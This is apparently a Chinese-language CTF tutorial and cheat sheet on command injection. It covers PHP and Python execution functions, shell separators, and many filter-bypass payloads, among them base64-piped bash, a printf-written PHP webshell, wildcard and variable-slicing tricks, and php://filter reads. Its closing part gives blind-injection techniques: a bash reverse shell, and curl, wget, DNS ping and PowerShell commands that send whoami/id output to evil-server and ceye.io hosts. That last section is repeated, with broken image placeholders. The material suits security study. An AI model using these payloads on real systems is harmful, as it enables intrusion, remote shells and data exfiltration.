命令注入是通过易受攻击的应用程序在主机操作系统上执行任意命令。在此攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。 命令注入攻击很可能主要是由于输入验证不足。此攻击与代码注入不同,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。 在命令注入中,攻击者扩展了执行系统命令的应用程序的默认功能,而无需注入代码。
当应用程序将不安全的用户提供的数据(表单,cookie,HTTP标头等)不经过检查过滤就传递给系统shell时,可能会发生命令注入攻击。
执行 command
参数所指定的命令, 并且输出执行结果。
system ( string $command , int &$return_var = ? ) : string
command:要执行的命令。
return_var:如果提供 return_var
参数, 则外部命令执行后的返回状态将会被设置到此变量中。
执行 command
参数所指定的命令。
exec ( string $command , array &$output = ? , int &$return_var = ? ) : string
command:要执行的命令。
output:如果提供了 output
参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。
return_var:如果同时提供 output
和 return_var
参数, 命令执行后的返回状态会被写入到此变量。
执行 command
参数所指定的命令并且显示原始输出。
passthru ( string $command , int &$return_var = ? ) : void
command:要执行的命令。
return_var:如果提供 return_var
参数, Unix 命令的返回状态会被记录到此参数。
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
shell_exec ( string $cmd ) : string
cmd:要执行的命令。
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
popen ( string $command , string $mode ) : resource
command:命令。
mode:模式。
执行一个命令,并且打开用来输入/输出的文件指针。
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
cmd:要执行的命令
descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。
cwd:要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 null
表示使用默认值(当前 PHP 进程的工作目录)。
env:要执行的命令所使用的环境变量。 设置此参数为 null
表示使用和当前 PHP 进程相同的环境变量。
other_options:你还可以指定一些附加选项。 目前支持的选项包括:
suppress_errors
(仅用于 Windows 平台): 设置为 true
表示抑制本函数产生的错误。bypass_shell
(仅用于 Windows 平台): 设置为 true
表示绕过 cmd.exe
shell。PHP 支持一个执行运算符:反引号(“)。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。效果和 shell_exec() 相同。
system(command)
在子 shell 中执行命令(字符串)。在 Unix 上,返回值是进程的退出状态;在 Windows 上,返回值是运行 command 后系统 Shell 返回的值。
popen(cmd, mode='r', buffering=-1)
打开一个管道,它通往 / 接受自命令 cmd。返回值是连接到管道的文件对象,根据 mode 是 'r'
(默认)还是 'w'
决定该对象可以读取还是写入。
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)
运行由 args 所描述的命令。 等待命令完成,然后返回 returncode
属性。
创建新进程以执行命令
符号 | 说明 |
---|---|
A;B | A不论正确与否都会执行B命令 |
A&B | A后台运行,A和B同时执行 |
A&&B | A执行成功的时候才会执行B命令 |
A|B | A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令 |
A||B | A执行失败后才会执行B命令 |
() | 群指令组,用括号将一串连续指令括起来,执行的效果等同于多个独立的命令单独执行的效果。 |
(()) | 用于算数运算’,与 let 指令相似 |
{} | 拼接字符用法,{xx,yy,zz…}{aa,bb,cc…}得到xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc… |
[] | 在流程控制中扮演判断式的作用;在正则表达式中担任类似 “范围” 或 “集合” 的角色。 |
[[ ]] | 这组符号与先前的[] 符号,基本上作用相同,但她允许在其中直接使用|| 与&& 逻辑等符号。 |
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
{str1,str2,…} | 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 |
IFS | 由 < space > 或 < tab > 或 < enter > 三者之一组成 |
CR | 由 < enter > 产生 |
! | 执行 history 中的命令 |
%0a 表示\r
%0d 表示\n
;
&
|
$(shell_command)
`shell_command`
{shell_command,}
%0a
&
|
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符
<
或者<>
cat<>flag
cat<flag
IFS
cat$IFS$9/flag
cat${IFS}/flag
cat$IFS/flag
url
的编码绕过%09
{OS_COMMAND,ARGUMENT}
{cat,/etc/passwd}
X=$'cat\x20/flag'&&$X
X=$'cat\x09/flag'&&$X
win下执行.bat文件的时候,利用%1a,可以绕过过滤执行命令
id=../ %1a whoami
php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。
escapeshellcmd("echo ".chr(0xc0).";id");
之后该语句会变成
echo 繺;id
从而实现 id 命令的注入。
PHP表示字符串方法
echo "foo";
echo (string)"bar";
echo (string)hello;
echo (world);
a=c;b=at;c=flag;$a$b $c
(sy.(st).em)(whoami)
从已有的文件或者环境变量中获得相应的字符。
echo "Y2F0IGZsYWc="|base64 -d 表示: cat flag
echo "Y2F0IGZsYWc="|base64 -d|bash
(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
#可以通过这样来写webshell,内容为
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
c""at fl''ag
c'a't f'l'ag
\
c\at fl\ag
/?in/?s => /bin/ls
cat fl[0-z]g
echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
cat$x /etc/passwd
如只对参数c
进行检查过滤,可以构造a
参数进行绕过
?c=eval($_GET[a]);&a=cat ./flag
当eval()
或者()
也被过滤的时候可以使用,include
配合php伪协议读取文件
php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include。
?file=php://filter/convert.base64-encode/resource=xxx.php
c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
获取内置函数 system 的索引后,直接执行
#1.先获取system函数的索引
php -r 'get_defined_functions();' | grep 'system'
#2.直接使用system函数执行
php -r get_defined_functions()[501](whoami)'
c$@at fl$@ag
echo i$@d
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH| cut -c 1
/
echo $PATH| cut -c 1-4
/usr
在 php 中可以用数组的形式取到字符串的每一个字符,这样我们就可以先定义一个包含所有需要的字符的字符串,然后通过下标取到字符再拼接的方式构造出我们需要的字符串。
# 相当于执行(system)(ls /tmp)
php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'
>
+
grep show flag.php
再flag.php文件里面正则匹配有show
字符串的那一行。
print_r(scandir(‘.’));
查看当前目录下的所有文件名
localeconv()
函数返回一包含本地数字及货币格式信息的数组。
current()
函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
each()
返回数组中当前的键/值对并将数组指针向前移动一步
end()
将数组的内部指针指向最后一个单元
next()
将数组中的内部指针向前移动一位
prev()
将数组中的内部指针倒回一位
array_reverse()
以相反的元素顺序返回数组
打印出当前目录下的文件:
print_r(scandir(current(localeconv())));
current(localeconv())
这两个函数组合起来就是.
打印出倒数第二个文件的内容
show_source(next(array_reverse(scandir(getcwd()))));
过滤字母,但是没有过滤数字的情况下,可以使用base64
命令:
/???/????64 ????.??? ==> /bin/base64 flag.php
利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?
进行匹配,即???/?????????
,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
在ascii码表中观察发现
在大写字母A的前一个符号为@
,大写字母Z的后一个字母为[
,因此我们可以使用[@-[]
来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[]
,到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file
来执行文件
exp:
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/11 9:14
# blog: www.wlhhlc.top
import requests
while True:
url = "http://**********/?c=. /???/????????[@-[]"
r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
flag = r.text.split('ctfshow')
if len(flag) >1:
print(r.text)
break
$
和()
构造数字
$(())
代表做一次运算,因为里面为空,也表示值为0
$((~$(())))
对0作取反运算,值为-1
$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1
如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
exp:
data = "$((~$(("+"$((~$(())))"*37+"))))" #这里-37再取反就是36
print(data)
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
var_export(scandir('/'));
var_dump(scandir('/'));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
用的mysql的load_file进行读取文件
exp:
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
利用PHP7.4的FFI可以执行C语言的扩展,从而使用C的system函数进行明星执行。
$ffi = FFI::cdef( "int system(const char *command);"); // 创建一个system对象
$ffi->system("/readflag > 1.txt"); // 通过system去执行命令
nl
root@ubuntu:~# echo ${PWD}
/root
root@ubuntu:~# echo ${PWD:1:1} #表示从1下标开始的第一个字符
r
root@ubuntu:~# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
root@ubuntu:~# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t
root@ubuntu:~# echo ${PWD:~A} #所以字母和0具有同样作用
t
root@ubuntu:~# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
root@ubuntu:~# echo ${PATH:~A}
n
root@ubuntu:/var/www/html# echo ${PATH:~A}${PWD:~A}
nl
在正常情况下${PWD}
的值在www-data用户下是/var/www/html
,${PATH}
和root用户的相同。则我们就可以构造nl
来读取文件: ${PATH:~A}${PWD:~A}
/bin/base64
方法一:
构造出/bin/base64
需要/和4两个字符就行,其他的可以用通配符代替。
/
很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}
绕过
root@ubuntu:~# echo ${#SHLVL}
1
root@ubuntu:~# echo ${PWD::${SHLVL}}
/
root@ubuntu:~# echo ${#RANDOM}
4
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}
/bin/base64
SHLVL:是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1
,然后在此shell中再打开一个shell时$SHLVL=2
。
RANDOM: 此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。并且,经测试,发现在linux中RANDOM产生的数值位数一般为4,所以可以利用${#RANDOM}
产生数字4。
在Linux中,${#xxx}
显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度
,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4。
方法二:
root@ubuntu:/var/www/html# echo $?
0
root@ubuntu:/var/www/html#
-bash: A: No such file or directory
root@ubuntu:/var/www/html# echo $?
1
root@ubuntu:~# echo ${HOME}
/root
root@ubuntu:/var/www/html# echo ${#RANDOM}
4
root@ubuntu:~# echo ${HOME::$?}???${HOME::$?}?????${#RANDOM}
/bin/base64
$?
:最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误,利用的报错就能返回值1
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
/bin/cat
方法一:
构造/bin/cat
,需要t
和/
,${HOME}
默认是/root,所以需要得到他的最后一个字母,容器的hostname
应该是5个字母,所以${#HOSTNAME}
可以从第5位开始,1还是用${#SHLVL}
代替
root@ubuntu:~# echo ${#HOSTNAME}
5
root@ubuntu:~# echo ${HOME}
/root
root@ubuntu:~# echo ${HOME:${#HOSTNAME}:${#SHLVL}}
t
root@ubuntu:~# echo ${PWD::${SHLVL}}
/
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}
/bin/cat
方法二:
一般给的权限都是www-data,所以我们用${USER}
可以获得“www-data”,而我们要取到at
的话需要${USER:~2:2}
,但数字是被禁了,所以接下来我们还需要想想怎么构造出2,一般我们可以查看http头部信息,可以利用php的版本信息。例如发现php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION
root@ubuntu:~# echo ${USER}
www-data
root@ubuntu:~# echo ${PHP_VERSION:~A}
2
root@ubuntu:~# echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
at
root@ubuntu:~# echo ${#}
0
root@ubuntu:~# echo ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
/bin/cat
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}}?
/bin/cat
/bin/rev
root@ubuntu:~# echo ${##}
1
root@ubuntu:~# echo ${#?}
1
root@ubuntu:/var/www/html# echo ${#IFS}
3
root@ubuntu:/var/www/html# echo ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}??
/bin/rev
主要是通过base_convert ()
函数将二十六进制的字符转换为十进制的数字,然后通过逆过程还原为原本被进制掉或不在白名单中的函数或命令。
example:利用数学函数构造命令执行
使用输出重定向>
分步把要执行的命令输入到一个文件中,然后再通过sh
执行这个文件
首先按照前面的>
的用法,我们可以知道有标准输出可以输出到文件
\
分行输入,这个优点是可以不用考虑时间顺序,直接用ls>a
输出到a
文件root@kali:~/Desktop# >ec\
> ho\
> \ 1
root@kali:~/Desktop# ls >a
root@kali:~/Desktop# cat a
a
echo 1
root@kali:~/Desktop# sh a
a: 1: a: not found
1
这里把echo 1
作为字符串输出到桌面,再使用ls
命令将桌面的内容储存到a
文件中,再执行a
文件的内容,输出1
。
\\
,这种方法是利用\
来拼接字符串,其中前一个\
是用来转义后一个\
的。这里需要考虑时间顺序,需要逆序来创建文件。root@kali:~/Desktop# >\ 1\\
root@kali:~/Desktop# >ho\\
root@kali:~/Desktop# >ec\\
root@kali:~/Desktop# ls -t>a
root@kali:~/Desktop# cat a
a
ec\
ho\
1\
root@kali:~/Desktop# sh a
a: 1: a: not found
1
我们之前提到的大部分都是有回显或者一部分提示的命令注入,当我们遇到无回显的命令注入的时候我们又要怎么办呢?
sleep
命令根据返回的时间来判断是否存在命令执行漏洞。?cmd=sleep 5
若存在命令执行则会等待5秒才返回响应。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vh29P1tI-1639545433243)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210329114110956.png)]
sleep $(hostname | cut -c 1 |tr a 5)
sleep $(hostname | cut -c 1 | tr h 5)
命令,将需要5秒钟的时间。这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。
无回显得命令执行语句可以使用DNSLog来查看结果。
ping %USERNAME%.t6n089.ceye.io
ping -c 1 `whoami`.t6n089.ceye.io
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBj5VrWg-1639545433245)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210317113750098.png)]
都可以看到我们的用户名显示在域名的最左边
首先在自己的机器上开启监听端口:
nc -lvp 2333
然后在命令执行处输入:
bash -i >&/dev/tcp/ip地址/端口 0>&1
可以得到靶机的bash控制权:
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.91.143: inverse host lookup failed: Unknown host
connect to [192.168.91.128] from (UNKNOWN) [192.168.91.143] 34728
root@ubuntu18:/var/www/html# ls
ls
checksite
DVWA-master
index.html
phpmyadmin
test.php
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
curl http://evil-server/`whoami`
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-le7bdZ0U-1639545433246)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210324203716523.png)]
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j5BtxvxT-1639545433247)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210324205124046.png)]
dex.html
phpmyadmin
test.php
### HTTP外带
- Linux
```bash
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
curl http://evil-server/`whoami`
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io
[外链图片转存中…(img-le7bdZ0U-1639545433246)]
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
[外链图片转存中…(img-j5BtxvxT-1639545433247)]